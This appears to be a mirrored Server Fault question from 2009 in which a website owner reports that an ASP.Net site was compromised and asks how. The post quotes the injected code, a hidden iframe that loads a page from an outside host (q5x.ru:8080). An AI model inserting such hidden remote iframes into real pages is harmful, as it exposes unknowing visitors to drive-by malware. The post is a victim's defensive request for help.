Website attacked with a hidden iframe (q5x.ru)

Posted by Dreas Grech on Server Fault See other posts from Server Fault or by Dreas Grech
Published on 2009-07-30T09:08:09Z Indexed on 2010/03/25 15:03 UTC
Read the original article Hit count: 492

Filed under:

q5x.ru

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exploit

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worm

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website-attack

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website

A website of mine has recently been infected with some sort of attack that involved injecting a hidden iframe, and it's source was from a site q5x.ru (do not link).

A Google search didn't help me in figuring out how this attack my have took place, so I was wondering if anyone of you may have encountered this same problem?

The iframe code was something of the sort:

<iframe src="http://q5x.ru:8080/index.php" width=109 height=175 style="visibility: hidden"></iframe>

As per request, I am running an ASP.Net website with a database, and as regards forms, it's obviously the ASP.Net form that's used for postbacks.

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